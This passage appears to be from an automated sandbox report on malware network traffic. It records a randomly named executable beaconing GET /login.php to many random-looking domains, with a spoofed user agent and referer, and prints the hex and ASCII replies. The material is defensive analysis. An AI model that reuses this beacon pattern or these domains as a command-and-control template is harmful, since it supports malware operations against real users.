53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
Nov 11, 2024 18:51:19.730525970 CET	520	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWU4OTBhNzMtYWMzYi00MmQwLTgwNmYtMzk3MjVmYTRiNzIzIiwicGFnZV90aW1lIjoxNzMxMzQ3NDc5LCJwYWdlX3VybCI6Imh0dHA6L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	59200	188.114.96.3	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:21.852452993 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:51:22.371321917 CET	793	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:51:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S5ANPRQ0oEhY01hWUgIfPwOSkVNxW2eFU0NyLkjvQm9weZ3VhMBeiWrxMYW7bqLBNnjslWrVsxtMqrbCYtYUbdNqi7u%2FfsgvtYSoZPL4uZ%2BksvyCqyvVcJoIRrLv1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e102141d8bdac5d-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12209&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=35&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Nov 11, 2024 18:51:22.374891043 CET	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	59207	154.212.231.82	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:21.873689890 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:51:22.755846024 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:51:22 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	59205	208.100.26.245	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:21.875442028 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:51:22.315754890 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:51:22 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	59204	178.162.203.226	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:21.876887083 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	59206	99.83.170.3	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:21.876890898 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Nov 11, 2024 18:51:22.296226978 CET	166	IN	HTTP/1.1 308 Permanent Redirect Connection: close Location: https://puzylyp.com/login.php Server: Caddy Date: Mon, 11 Nov 2024 17:51:22 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	59208	18.208.156.248	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:21.876971006 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Nov 11, 2024 18:51:22.304280043 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347482\|1731347428\|18\|3\|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	59203	162.255.119.102	80	3328	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:21.877520084 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:51:22.403788090 CET	303	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:51:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55 Connection: keep-alive Location: http://www.gahyqah.com/login.php X-Served-By: Namecheap URL Forward Server: namecheap-nginx Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	59212	199.191.50.83	80	6212	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.197483063 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:51:26.702663898 CET	861	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 17:51:26 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Content-Length: 271 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 28 31 30 29 3c 2f 68 33 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (10)</h3></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	59214	178.162.203.226	80	6212	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.247227907 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	59215	44.221.84.105	80	6212	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.249823093 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0
Nov 11, 2024 18:51:25.685672998 CET	334	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347485\|1731347428\|6\|6\|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	59218	18.208.156.248	80	6212	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.250823021 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Nov 11, 2024 18:51:25.685869932 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347485\|1731347428\|19\|3\|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	59219	44.221.84.105	80	6212	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.251024008 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Nov 11, 2024 18:51:25.689420938 CET	334	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347485\|1731347428\|7\|5\|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	59220	162.255.119.102	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.251224041 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:51:25.786689997 CET	303	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:51:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55 Connection: keep-alive Location: http://www.gahyqah.com/login.php X-Served-By: Namecheap URL Forward Server: namecheap-nginx Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	59221	154.212.231.82	80	6212	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.252132893 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:51:26.143194914 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:51:25 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	59213	3.94.10.34	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.253488064 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Nov 11, 2024 18:51:25.685470104 CET	334	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347485\|1731347428\|7\|5\|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	59222	99.83.170.3	80	6212	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.256028891 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Nov 11, 2024 18:51:25.689449072 CET	166	IN	HTTP/1.1 308 Permanent Redirect Connection: close Location: https://puzylyp.com/login.php Server: Caddy Date: Mon, 11 Nov 2024 17:51:25 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	59216	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.259053946 CET	305	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
